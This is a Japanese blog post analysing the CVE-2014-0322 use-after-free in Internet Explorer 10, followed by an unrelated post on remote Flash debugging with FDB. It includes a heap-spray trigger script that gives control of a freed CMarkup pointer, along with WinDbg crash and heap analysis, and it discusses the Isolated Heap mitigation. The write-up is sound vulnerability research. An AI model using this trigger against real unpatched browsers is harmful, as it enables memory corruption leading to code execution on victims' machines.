Deep Dive into Exploit of Use-After-Free Vulnerability – 1

以前紹介した Metasploit に含まれる CVE-2014-0322 の脆弱性を利用するモジュールについて、ようやくある程度の理解ができるようになったので記事にします。かなり長くなりそうなので、分割します。

このモジュールは、以下 2 つのファイルで構成されます。ruby のスクリプトと、Flash の swf ファイルです。ruby のスクリプトの中に、JavaScript を含む HTML ページが埋め込まれています。

/usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
/usr/share/metasploit-framework/data/exploits/CVE-2014-0322/AsXploit.swf

Ruby のファイルは、GitHub からも見ることができます。

metasploit-framework/ms14_012_cmarkup_uaf.rb at master · rapid7/metasploit-framework · GitHub
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

AsXploit.swf のソースコードは Metasploit に含まれていないので、JPEXS Free Flash Decompiler で逆コンパイルしました。わりと綺麗なコードを生成してくれます。

と、思っていたらソースあったし・・・これで 1 日ぐらいロスした orz
https://github.com/rapid7/metasploit-framework/blob/abd76c50000e75bcac0616b96cd8583e1df3927f/external/source/exploits/CVE-2014-0322/AsXploit.as

Ruby のスクリプトの中に、参考 URL として以下のブログ記事が挙げられています。これはMISC Magazine という雑誌に載せる記事の概要だそうです。

HDW Sec – Blog
http://hdwsec.fr/blog/CVE-2014-0322.html

まずは、CVE-2014-0322 というのはどういうバグで、どうすると何が起こるのか、を見てみます。

以下は、HDW Sec のブログに載っている JavaScript を少し単純化したものです。このコードを含む適当な HTML を書いて、Internet Explorer 10 (修正パッチである KB2925418 を含まないもの) で開くと、IE がクラッシュします。

<script>
    function dword2data(dword) {
        var d = Number(dword).toString(16);
        while (d.length < 8)
            d = ‘0’ + d;
        return unescape(‘%u’ + d.substr(4, 8) + ‘%u’ + d.substr(0, 4));
    }

    var g_arr = [];
    var arrLen = 0x250;

    function fun() {
        var a = 0;
        for (a = 0; a < arrLen; ++a) {
            g_arr[a] = document.createElement(‘div’)
        }

        var magic1 = 0xdeadc0de;
        var magic2 = 0x12345678;

        var b = dword2data(magic1);
        while (b.length < 0x360) {
            b += dword2data(magic2)
        }

        try {
            this.outerHTML = this.outerHTML
        } catch (e) {}

        CollectGarbage();

        for (a = 0; a < arrLen; ++a) {
            g_arr[a].title = b.substring(0, (0x340 – 2) / 2);
        }
    }

     window.onload = function() {
        var a = document.getElementsByTagName(‘script’);
        var b = a[0];
        b.onpropertychange = fun;
        b.appendChild(document.createElement(‘div’));
    }
</script>

デバッガーを繋いでおくと、以下のアクセス違反 (AV = Access Violation) をキャッチできます。スタックトレースから、onload から JavaScript が呼ばれて、appendChild を実行したところで AV になったことが分かります。

(6c.750): Access violation – code c0000005 (first/second chance not available)
eax=12345678 ebx=03e4d1a8 ecx=00000001 edx=03f056c8 esi=03f056c8 edi=03e6d1a0
eip=72da7a59 esp=0290b6fc ebp=0290b768 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
mshtml!CMarkup::UpdateMarkupContentsVersion+0x16:
72da7a59 ff4010          inc     dword ptr [eax+10h]  ds:002b:12345688=????????
0:005> k
ChildEBP RetAddr
0290b6f8 72eada96 mshtml!CMarkup::UpdateMarkupContentsVersion+0x16
0290b768 72eae1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277
0290b7ac 72eae065 mshtml!CMarkup::InsertSingleElement+0x169
0290b88c 72eaddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d
0290b8b0 72eadd6c mshtml!CMarkup::InsertElementInternal+0x2e
0290b8f0 72eade09 mshtml!CDoc::InsertElement+0x9c
0290b9b8 72e43c10 mshtml!InsertDOMNodeHelper+0x454
0290ba30 72e4390c mshtml!CElement::InsertBeforeHelper+0x2a8
0290ba94 72e4402c mshtml!CElement::InsertBeforeHelper+0xe4
0290bab4 72e46f43 mshtml!CElement::InsertBefore+0x36
0290bb40 72e46e60 mshtml!CElement::Var_appendChild+0xc7
0290bb70 724cb86f mshtml!CFastDOM::CNode::Trampoline_appendChild+0x55
0290bbd8 724a425c jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0290bd74 724a36d9 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0290be8c 04fc0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0290be98 7249f8e0 0x4fc0fe1
0290bf20 7249fa4a jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0290bf38 7249fa1f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0290bf80 7249f9a7 jscript9!ScriptSite::CallRootFunction+0x40
0290bfac 724cc3cd jscript9!ScriptSite::Execute+0x61
0290c010 731a4a64 jscript9!ScriptEngine::Execute+0x115
0290c0c8 731a4957 mshtml!CListenerDispatch::InvokeVar+0xfe
0290c0e8 731a4791 mshtml!CListenerDispatch::Invoke+0x47
0290c178 731a4064 mshtml!CEventMgr::_InvokeListeners+0x16b
0290c190 731a400f mshtml!CEventMgr::_InvokeListenersOnWindow+0x3b
0290c210 731a44f5 mshtml!CEventMgr::_InvokeListeners+0x1e7
0290c388 72fed3d6 mshtml!CEventMgr::Dispatch+0x4ae
0290c3ac 73025170 mshtml!CEventMgr::DispatchEvent+0xdd
0290c3e4 730256d4 mshtml!COmWindowProxy::Fire_onload+0x134
0290c444 730239fb mshtml!CMarkup::OnLoadStatusDone+0x448

eax+10 が指す 12345688 というアドレスは、無効な領域なので、Read/Write ともにできません。inc 命令は Read/Write 両方を行うため、AV が発生します。ここでの最大のポイントは、eax の持つ 12345678 という値にあります。このアドレス、JavaScript 内で変数として指定されています。変数を別の値に変えると、AV が発生するアドレスを任意に変えられます。それだけでなく、書き込み可能なアドレスであれば任意の場所の Byte 値をインクリメントできることになります。これは IE のバグであり、CVE-2014-0322 が脆弱性と呼ばれる所以です。「書き込み可能な任意の場所の Byte 値をインクリメントできる」ことを起点として、「任意のペイロード (meterpreter のようなバイナリ) を適当な位置に書き込んで、プログラム カウンターをそこに変更して実行する」 という、"わらしべ長者" になれば exploit 成功です。

まずはこの AV を理解するところから始めます。

0:005> u MSHTML!CMarkup::UpdateMarkupContentsVersion
mshtml!CMarkup::UpdateMarkupContentsVersion:
72da7a43 8b427c          mov     eax,dword ptr [edx+7Ch]
72da7a46 40              inc     eax
72da7a47 0d00000080      or      eax,80000000h
72da7a4c 89427c          mov     dword ptr [edx+7Ch],eax
72da7a4f 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
72da7a55 85c0            test    eax,eax
72da7a57 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72da7a5c)
72da7a59 ff4010          inc     dword ptr [eax+10h]

0:005> dd @edx
03f056c8  deadc0de 12345678 12345678 12345678
03f056d8  12345678 12345678 12345678 12345678
03f056e8  12345678 12345678 12345678 12345678
03f056f8  12345678 12345678 12345678 12345678
03f05708  12345678 12345678 12345678 12345678
03f05718  12345678 12345678 12345678 12345678
03f05728  12345678 12345678 12345678 12345678
03f05738  12345678 12345678 12345679 92345679

逆アセンブルの結果を見ると、eax は edx から来ています。edx は何らかのオブジェクトであり、eax はオフセット +AC にあるメンバ変数のようです。eax もまた何らかのオブジェクトであり、NULL チェックの後にオフセット +10 のメンバ変数をインクリメントしている、と読めます。JavaScript の変数の値である eax の値は edx+78 から来ているので、edx の中身を見ると、先頭が deadc0de で、残りは 12345678 で埋められています。再度JavaScript のコードを確認すると、fun 関数における b という文字列変数の内容と一致します。つまり、本来オブジェクトが存在しているべき領域が、JavaScript の文字列で置き換えられています。

edx のアドレスの種類を調べるため、!address edx コマンドを実行します。

0:005> r edx
edx=03f056c8

0:005> !address @edx
Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  Heap
Base Address:           03e10000
End Address:            03f0f000
Region Size:            000ff000
State:                  00001000        MEM_COMMIT
Protect:                00000004        PAGE_READWRITE
Type:                   00020000        MEM_PRIVATE
Allocation Base:        03e10000
Allocation Protect:     00000004        PAGE_READWRITE
More info:              heap owning the address: !heap 0x6e0000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x3f056c8

0:005> !heap -x 0x3f056c8
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
—————————————————————————–
03f056c0  03f056c8  006e0000  03e79a28       348      -            8  LFH;busy

この出力結果は、03e10000から03f0f000までの範囲がヒープ領域であり、edx=03f056c8 もそこに含まれていることを示します。さらに !heap コマンドでヒープ領域を分析すると、0x340 バイトのバッファーであるようです(Size の 348 から Unused の 8 を引いた値が実際のサイズ)。 ヒープ領域の境界が分かったので、その前後も見ておきます。

03f056a0  12345678 12345678 12345678 12345678
03f056b0  12345678 12345678 12345678 00005678
03f056c0  461b2184 88003400 deadc0de 12345678
03f056c0  12345678 12345678 12345678 12345678
03f056e0  12345678 12345678 12345678 12345678
03f056f0  12345678 12345678 12345678 12345678

03f059e0  12345678 12345678 12345678 12345678
03f059f0  12345678 12345678 12345678 12345678
03f05a00  12345678 00005678
461b201d 88003500
03f05a10  deadc0de 12345678 12345678 12345678
03f05a20  12345678 12345678 12345678 12345678
03f05a30  12345678 12345678 12345678 12345678

前後ともに、同じ文字列で埋められています。03f056c0 から 0x340 バイト続く文字列の最後の Word 値 (at 03f05a06) は 0x0000 で、おそらく NULL 終端文字と考えられます。そして次の文字列の先頭 (deadc0de) があるアドレス 03f05a10 に対して !heap を実行すると、先ほどと同じ結果が返ってきます。

0:005> !heap -x 03f05a10
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
—————————————————————————–
03f05a08  03f05a10  006e0000  03e79a28       348      -            8  LFH;busy

ここで JavaScript のコードを確認すると、以下の for ループが見つかります。

for (a = 0; a < arrLen; ++a) {
    g_arr[a].title = b.substring(0, (0x340 – 2) / 2);
}

部分文字列の長さ "(0x340 – 2) / 2" のうち、/2 の部分は、JavaScript における文字は UTF-16 で 1 文字 2 バイトだからでしょう。-2 は、内部的に文字の末尾に NULL 終端文字が入ることを考慮していると考えられます。つまり、この部分文字列の一つ一つがちょうど 0x340 バイトのヒープを確保するようにデザインされています。

AV のより詳細な分析を行うため、Full Page Heap と User-mode stacktrace database を有効にしてから同じページを開きます。デバッガーに含まれている gflags を使って "gflags -i iexplore.exe +hpa +ust" コマンドを実行してください。Page Heap と User-mode stack trace database についてはこちら↓

The Structure of a Page Heap Block
http://msdn.microsoft.com/en-us/library/ms220938(v=vs.90).aspx

GFlags and PageHeap (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff549561(v=vs.85).aspx

Create user mode stack trace database (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff540107(v=vs.85).aspx

また 同じ関数で AV が発生しますが、発生個所が少し違っています。

mshtml!CMarkup::UpdateMarkupContentsVersion:
72d37a43 8b427c          mov     eax,dword ptr [edx+7Ch]
72d37a46 40              inc     eax
72d37a47 0d00000080      or      eax,80000000h
72d37a4c 89427c          mov     dword ptr [edx+7Ch],eax
72d37a4f 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
72d37a55 85c0            test    eax,eax
72d37a57 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72d37a5c)
72d37a59 ff4010          inc     dword ptr [eax+10h] <<< ここはパス
72d37a5c 8b8a94000000    mov     ecx,dword ptr [edx+94h]
72d37a62 33c0            xor     eax,eax
72d37a64 85c9            test    ecx,ecx
72d37a66 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x28 (72d37a6b)
72d37a68 8b410c          mov     eax,dword ptr [ecx+0Ch]
72d37a6b 83b8c001000000  cmp     dword ptr [eax+1C0h],0 ds:002b:000001c0=????????

0:005> dd edx
0d032cc0  00000000 00000000 00000000 00000000
0d032cd0  00000000 00000000 00000000 00000000
0d032ce0  00000000 00000000 00000000 00000000
0d032cf0  00000000 00000000 00000000 00000000
0d032d00  00000000 00000000 00000000 00000000
0d032d10  00000000 00000000 00000000 00000000
0d032d20  00000000 00000000 00000000 00000000
0d032d30  00000000 00000000 00000001 80000001

Page Heap なしでクラッシュした inc はパスして、cmp でクラッシュしました。同様に edx の指すバッファーを見ると、deadc0de はなく、00000000 で埋められています (一部は、クラッシュする前のコードによって書き換えられています)。inc はその前の NULL チェックで弾かれて実行されなかっただけのようです。先ほどと同様、edx に対して !address と !heap を実行します。Full Page Heap が有効になっているので、!heap -p コマンドが使えます。

0:005> !address @edx
Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  PageHeap
Base Address:           0d032000
End Address:            0d033000
Region Size:            00001000
State:                  00001000        MEM_COMMIT
Protect:                00000004        PAGE_READWRITE
Type:                   00020000        MEM_PRIVATE
Allocation Base:        0d030000
Allocation Protect:     00000001        PAGE_NOACCESS
More info:              !heap -p 0xac1000
More info:              !heap -p -a 0xd032cc0

0:005> !heap -p -a 0xd032cc0
    address 0d032cc0 found in
    _DPH_HEAP_ROOT @ ac1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr
   VirtSize)
                                 cb9316c:          d032ff0               10 -          d032000
       2000
    74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f
    77d487b6 ntdll!RtlpAllocateHeap+0x0000009b
    77d132ff ntdll!RtlAllocateHeap+0x00000176
    72ca6d51 mshtml!CAttrArray::Set+0x0000004e
    72dc8645 mshtml!CAttrArray::SetString+0x00000041
    72e191b3 mshtml!BASICPROPPARAMS::SetStringProperty+0x00000243
    72f392e1 mshtml!CBase::put_StringHelper+0x0000005e
    72f037a4 mshtml!CFastDOM::CHTMLElement::Trampoline_Set_title+0x00000074
    7245b86f jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
    7245c6ba jscript9!Js::JavascriptArray::GetSetter+0x000000cf
    72460953 jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
    724336d9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305

ヒープ領域に属している点は同じですが、!heap -p -a の実行結果では 0x10 バイトの別の場所のヒープが出力されます。edx が指すアドレスにバッファーは存在しないようです。PageHeap なしのときの 0x340 バイトの文字列はどこへ行ったのでしょうか。

今度は、gflags の設定はそのままで、AV が発生しない正常な動作を見てみます。mshtml!CMarkup::UpdateMarkupContentsVersion の先頭にブレークポイントを設定してから、JavaScript を含んでいそうな適当なページを開きます。複数のコードパスでヒットしますが、なるべく近いものを使いたいのでコールスタックに mshtml!CMarkup::InsertElementInternal が含まれているブレークを見つけます。

0:005> r
eax=00000000 ebx=120a2fa0 ecx=2d875894 edx=10fe7cc0 esi=10fe7cc0 edi=0e38afc8
eip=72d37a43 esp=091db2fc ebp=091db368 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204
mshtml!CMarkup::UpdateMarkupContentsVersion:
72d37a43 8b427c          mov     eax,dword ptr [edx+7Ch] ds:002b:10fe7d3c=80000028
0:005> k5
ChildEBP RetAddr
091db2f8 72e3da96 mshtml!CMarkup::UpdateMarkupContentsVersion
091db368 72e3e1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277
091db3ac 72e3e065 mshtml!CMarkup::InsertSingleElement+0x169
091db48c 72e3ddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d
091db4b0 72e3dd6c mshtml!CMarkup::InsertElementInternal+0x2e

!address と !heap を実行します。

0:005> !address @edx
Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  PageHeap
Base Address:           10fe7000
End Address:            10fe8000
Region Size:            00001000
State:                  00001000        MEM_COMMIT
Protect:                00000004        PAGE_READWRITE
Type:                   00020000        MEM_PRIVATE
Allocation Base:        10f10000
Allocation Protect:     00000001        PAGE_NOACCESS
More info:              !heap -p 0x3981000
More info:              !heap -p -a 0x10fe7cc0

0:005> !heap -p -a 0x10fe7cc0
    address 10fe7cc0 found in
    _DPH_HEAP_ROOT @ 3981000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr
   VirtSize)
                                109b3548:         10fe7cc0              340 -         10fe7000
       2000
          mshtml!CMarkup::`vftable’
    74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f
    77d487b6 ntdll!RtlpAllocateHeap+0x0000009b
    77d132ff ntdll!RtlAllocateHeap+0x00000176
    72cc4405 mshtml!CDoc::CreateMarkupFromInfo+0x0000017f
    7313af7f mshtml!CDoc::DoNavigate_CreateMarkupForExistingWindow+0x0000004b
    7313afe7 mshtml!CDoc::DoNavigate+0x000008b3
    72faf5f9 mshtml!CDoc::FollowHyperlink2+0x0000058f
    7313b50f mshtml!CWindow::SuperNavigateInternal+0x000001df
    7313b305 mshtml!CWindow::SuperNavigate2WithBindFlags+0x00000029
    73ef7adb ieframe!CDocObjectHost::_NavigateDocument+0x00000185
    73e7d86c ieframe!CDocObjectHost::SetTarget+0x00000270
    73e7d5cf ieframe!CDocObjectView::CreateViewWindow2+0x000000ef
    73e7d498 ieframe!CDocObjectView::CreateViewWindow+0x0000005f
    73e7d40d ieframe!FileCabinet_CreateViewWindow2+0x0000013c
    73e7d20c ieframe!CBaseBrowser2::_CreateNewShellView+0x000001db
    73e7cff9 ieframe!CBaseBrowser2::_CreateNewShellViewPidl+0x00000086
    73e7cf17 ieframe!CBaseBrowser2::v_NavigateToPidl+0x000001b8
    73ef7204 ieframe!CBaseBrowser2::_OnGoto+0x00000210
    73ef6fea ieframe!CBaseBrowser2::_OnAsyncOperation+0x00000031
    73e70723 ieframe!CBaseBrowser2::v_WndProc+0x0000013c
    73fc6257 ieframe!CShellBrowser2::v_WndProc+0x00000195
    73e41fd8 ieframe!CShellBrowser2::s_WndProc+0x0000006d
    767c77d8 user32!InternalCallWinProc+0x00000023
    767c78cb user32!UserCallWinProcCheckWow+0x00000100
    767c899d user32!DispatchMessageWorker+0x000003ef
    767c8a66 user32!DispatchMessageW+0x00000010
    73e4363e ieframe!CTabWindow::_TabWindowThreadProc+0x00000476
    73e90331 ieframe!LCIETab_ThreadProc+0x00000378
    77a87bc8 iertutil!CIsoWinMsg::PostQueuedMessagesToComponent+0x0000004b
    73c02a34 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000066
    753a8543 kernel32!BaseThreadInitThunk+0x0000000e

長さ 0x340 のオブジェクトが出てきました。edx のアドレスの中身をみます。

0:005> dd edx
10fe7cc0  72c45b90 00000007 00000000 000000a0
10fe7cd0  10f6bff0 00000000 00000000 00000000
10fe7ce0  00000000 00000000 00000000 00000000
10fe7cf0  0c000001 8247c000 00000000 00000000
10fe7d00  00000000 0d6eafc0 0ff94f50 00000000
10fe7d10  00000100 00000000 00000000 0d726fc0
10fe7d20  00000002 00000004 00000010 0000a4d1
10fe7d30  10995f20 00000000 00000029 80000028
0:005> ln 72c45b90
(72c45b90)   mshtml!CMarkup::`vftable’   |  (72c45de8)   mshtml!CElement::`vftable’
Exact matches:
    mshtml!CMarkup::`vftable’ = <no type information>
0:005> dds 72c45b90
72c45b90  72f7cf90 mshtml!CMarkup::PrivateQueryInterface
72c45b94  72c63a74 mshtml!CMarkup::PrivateAddRef
72c45b98  72c63a51 mshtml!CMarkup::PrivateRelease
72c45b9c  73277ab3 mshtml!CBase::PrivateGetTypeInfoCount
72c45ba0  73277a7a mshtml!CBase::PrivateGetTypeInfo
72c45ba4  73277a3b mshtml!CBase::PrivateGetIDsOfNames
72c45ba8  73189446 mshtml!CBase::PrivateInvoke
72c45bac  7311b22c mshtml!CBase::PrivateGetDispID

先頭がコード領域のアドレスなので、これは vtable と考えられます。シンボルを見てみると、edx は mshtml!CMarkup クラスであることが分かります。長さは 0x340 です。AV 発生個所が CMarkup のメンバ関数なので、これは this ポインターしょうか。(ecx ではなく edx レジスタなので確証はありませんが。)

以上をまとめると、通常であれば 0x340 のmshtml!CMarkup クラスがヒープ上に確保されているところに、ちょうどヒープ上で0x340 の長さになるようにデザインされた JavaScript の文字列が埋め込まれています。そして、PageHeap 有効下においてこの HTML を開いたときは、edx はヒープ領域の中のバッファーが存在しないアドレスを指していました。これが Use-After-Free の脆弱性です。バッファー解放後に、それとちょうど同じ長さのバッファーを確保させることで、解放された場所と同じ領域が再利用されるのです。バグによって、解放済みのアドレスを指すポインター (=dangling pointer) が残っている間にアドレスの再利用が行われてしまうと、そのポインターは解放されたはずなのに、再び有効なアドレスを指すことになります。これはポインターが乗っ取られた状態です。

次に、PageHeap を無効にし、JavaScript 側で部分文字列の長さを変えて試します。例えばこんな感じ。

for (a = 0; a < arrLen; ++a) {
    g_arr[a].title = b.substring(0, (0x341 – 2) / 2 + 1);
}

こうすると、クラッシュは起きません。手順はこれまでと同じなので結果だけ貼ると、!heap の結果は解放済みのアドレスとして出力されます。これは edx が dangling pointer であることを示しており、バグです。これを乗っ取ることができるので、Use-After-Free が脆弱性と呼ばれます。

0:005> r
eax=00000000 ebx=04a0a058 ecx=00000001 edx=011a6ab8 esi=011a6ab8 edi=04a166a8
eip=72da7a43 esp=033fb3bc ebp=033fb428 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204
MSHTML!CMarkup::UpdateMarkupContentsVersion:
72da7a43 8b427c          mov     eax,dword ptr [edx+7Ch] ds:002b:011a6b34=80000005
0:005> !heap -x @edx
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
—————————————————————————–
011a6ab0  011a6ab8  01140000  01140000       348      1000         0  free

トレンドマイクロのサイトに、同様の解析の流れ、及び、Isolated Heap と呼ばれる IE 側の防御メカニズムに関する紹介があります。

Isolated Heap for Internet Explorer Helps Mitigate Exploit | Security Intelligence Blog | Trend Micro
http://blog.trendmicro.com/trendlabs-security-intelligence/isolated-heap-for-internet-explorer-helps-mitigate-uaf-exploits/

Isolated Heap とは、簡単に言うと mshtml (trident) のために専用のヒープ MSHTML!g_hIsolatedHeap を使うようになる機能です。これによって、JavaScript などを使って外部から mshtml の dangling pointer を乗っ取ることが極めて困難になります。この機能は 2014 年 6 月のアップデートに含まれています。

MS14-035: Cumulative security update for Internet Explorer: June 10, 2014
http://support.microsoft.com/kb/2969262

Microsoft Security Bulletin MS14-035 – Critical
https://technet.microsoft.com/library/security/MS14-035

以下のブログによると、Google Chrome のエンジンにも似たような機能が実装されているようです。

Isolated Heap & Friends – Object Allocation Hardening in Web Browsers – mwrlabs
https://labs.mwrinfosecurity.com/blog/2014/06/20/isolated-heap-friends—object-allocation-hardening-in-web-browsers/

というわけで今回はここまで。次回から Flash を使った Exploit の手法を見ていきます。

広告

Flash remote debugging with FDB

Flash の開発中は、スタンドアロンの Flash Player と IDE でデバッグを行うことが一般的かと思いますが、ブラウザー上での動作もデバッガーから見られると便利です。環境構築の回で紹介したデバッグ用の Flash Player を使うと、ブラウザーで動く Flash をデバッグでき、またリモート デバッグも可能なので、テスト マシンで動作する Flash を開発環境からデバッグできます。デバッガーは、Flex SDK に付属しているコマンド ラインのデバッガー FDB を使います。

テスト環境は Windows 8 x64 + Internet Explorer 10 の環境を使います。したがって、以下のページにある "Download the Flash Player for Windows 8 x64 debugger" のリンクからインストーラーをダウンロードします。ファイル名は Windows8-RT-KB2777262-x64.msu となっており、OS への Hotfix としてインストールされます。

Adobe Flash Player – Downloads
http://www.adobe.com/support/flashplayer/downloads.html

インストールすると、Flash.ocx が置き換わります。バージョンを確認するのには、Windows Server 2003 もしくは XP のサポート ツールに含まれている Filever.exe というツールが便利です。PowerShell の Get-ChildItem コマンドレットも使えますが、Get-ChildItem はある条件で誤った結果を返すので filever.exe の方が信用できます。

How to use the Filever.exe tool to obtain specific information about a file in Windows
http://support.microsoft.com/kb/913111/en

これが Windows 8 のインストール直後の Flash.ocx。

C:\MSWORK>filever -v C:\windows\syswow64\Macromed\Flash\Flash.ocx
–a– W32i   DLL ENU     11.3.372.94 shp 10,648,920 07-19-2012 flash.ocx
    Language        0x0409 (
    CharSet            0x04b0 Unicode
    OleSelfRegister        Disabled
    CompanyName        Adobe Systems, Inc.
    FileDescription        Adobe Flash Player 11.3 r372
    InternalName        Adobe Flash Player 11.3
    OriginalFilename    Flash.ocx
    ProductName        Shockwave Flash
    ProductVersion        11,3,372,94
    FileVersion        11,3,372,94
    LegalCopyright        Adobeョ Flashョ Player. Copyright ゥ 1996 Adobe Systems Incorporated. All Rights Reserved. Adobe and Flash are either trademarks or registered trademarks in the United States and/or other countries.
    LegalTrademarks        Adobe Flash Player

    VS_FIXEDFILEINFO:
    Signature:        feef04bd
    Struc Ver:        00010000
    FileVer:        000b0003:0174005e (11.3:372.94)
    ProdVer:        000b0003:0174005e (11.3:372.94)
    FlagMask:        0000003f
    Flags:            00000000
    OS:            00000004 Win32
    FileType:        00000002 Dll
    SubType:        00000000
    FileDate:        00000000:00000000

KB2777262 をインストールすると、こうなります。14.0 になりました。あくまでもデバッグ機能を持つ Flash Player というだけなので、この ocx がデバッグ版というわけではないようです。ここでは syswow64 にある flash.ocx を確認していますが、system32 の方も同様に置き換わっています。

C:\MSWORK>filever -v C:\windows\syswow64\Macromed\Flash\Flash.ocx
–a– W32i   DLL ENU      14.0.0.176 shp 13,932,000 08-02-2014 flash.ocx
    Language        0x0409 (
    CharSet            0x04b0 Unicode
    OleSelfRegister        Disabled
    CompanyName        Adobe Systems, Inc.
    FileDescription        Adobe Flash Player 14.0 r0
    InternalName        Adobe Flash Player 14.0
    OriginalFilename    Flash.ocx
    ProductName        Shockwave Flash
    ProductVersion        14,0,0,176
    FileVersion        14,0,0,176
    LegalCopyright        Adobeョ Flashョ Player. Copyright ゥ 1996-2014 Adobe Systems Incorporated. All Rights Reserved. Adobe and Flash are either trademarks or registered trademarks in the United States and/or other countries.
    LegalTrademarks        Adobe Flash Player

    VS_FIXEDFILEINFO:
    Signature:        feef04bd
    Struc Ver:        00010000
    FileVer:        000e0000:000000b0 (14.0:0.176)
    ProdVer:        000e0000:000000b0 (14.0:0.176)
    FlagMask:        0000003f
    Flags:            00000000
    OS:            00000004 Win32
    FileType:        00000002 Dll
    SubType:        00000000
    FileDate:        00000000:00000000

少しややこしいのが IE のプロセスについて。64bit OS では、IE の実行可能ファイルが 2 つ存在します。それは、Win64 ネイティブの iexplore.exe と WOW64 で動く 32bit の iexplore.exe です。

C:\Program Files\Internet Explorer\iexplore.exe
C:\Program Files (x86)\Internet Explorer\iexplore.exe

IE9 (IE8 だったかも・・) までは、これらはそれぞれ独立していました。多くの場合、ユーザーはスタート メニューやタスクバーのショートカットから IE を起動しますが、このショートカットは 32bit の IE へのショートカットでした。64bit OS なんだから 64bit の IE の方がメモリ効率とかセキュリティー的にメリットが多いのは確かです。しかし、ブラウザーが読み込む Flash などのプラグインはブラウザーと同じプロセスで動きます。昔は、64bit 版のプラグインが存在しないことも多かったので、互換性を重視して 32bit 版の IE をデフォルトのしたのだと思います。

しかし、IE10 から少し状況が変わりました。IE10 では、32bit 版の iexplore.exe を起動しようと、64bit 版の iexplore.exe を起動しようと、32bit の iexplore.exe が動きます。正確には両方のプロセスが動くのですが、実際に HTML を処理するタブ プロセスは 32bit であり、ウィンドウを管理するフレーム プロセスが 64bit です。しかし、タブ プロセスが 64bit になる条件が一つあります。それが、Windows 8 以降存在する Immersive IE (= Modern UI の IE) です。 簡単にまとめると、デスクトップの IE が 32bit で、モダンの方が 64bit になりました。

話を戻すと、今回は Modern UI を使う予定はないので syswow64 の方のバージョンを確認したというわけです。

次に、適当な ActionScript を書きます。タイマーで 1 秒毎に trace 関数でコンソールに文字を出力します。

package {
    import flash.display.Sprite;
    import flash.events.*;
    import flash.utils.*;
  
    public class Main extends Sprite  {
        public var mTimer:Timer;
        public var mCounter:uint;
       
        public function hex(n:uint) : String {
            var s:String = n.toString(16);
            while( s.length < 8 ) {
                s = ‘0’ + s;
            }
            return ‘0x’ + s;
        }

        public function Main():void  {
            this.mTimer = new Timer(1000, 60);
            this.mTimer.addEventListener("timer", this.timerHandler);
            this.mTimer.start();
            this.mCounter = 0;
        }
       
        public function timerHandler(param1:TimerEvent) : void {
            trace(hex(++this.mCounter));
        }
    }
}

これを debug ビルドして swf ファイルを作ります。release ビルドすると、trace 関数の呼び出しは削除されるので注意。これは、Flex 4 から導入されたコンパイル オプション -omit-trace-statements の初期値が true になっているからです。このオプションについては、こちらのブログでコンパイラのソースコードとともに紹介があります。

How -omit-trace-statements Works… Or Does NOT… | Stop Coding!
http://stopcoding.wordpress.com/2010/04/21/how-omit-trace-statements-works-or-does-not/

次に swf を読み込む html を書きます。embed タグを書くだけ。
(このブログの設定上、embed タグが弾かれてしまうので、em と bed の間に空白を入れてあります。)

<!DOCTYTPE HTML>
<html>
<head></head>
<body>
<em bed src="test.swf" width="25" height="25"></em bed>
</body>
</html>

swf と html を適当な Web サーバーにデプロイして、まずはページを開きます。当然何も表示されませんが、Flash は動いているはずです。

次に、開発環境でデバッガーを起動します。Flex SDK をインストールしたフォルダーの bin の中に fdb.bat というのがあるので、それを実行してください。バッチ ファイルは、単に jar を実行するだけになっています。bin フォルダーに PATH を通しておくと何かと便利です。

デバッガーのプロンプトで run と実行すると、Flash Player からの応答を待機します。

d:\MSWORK> fdb
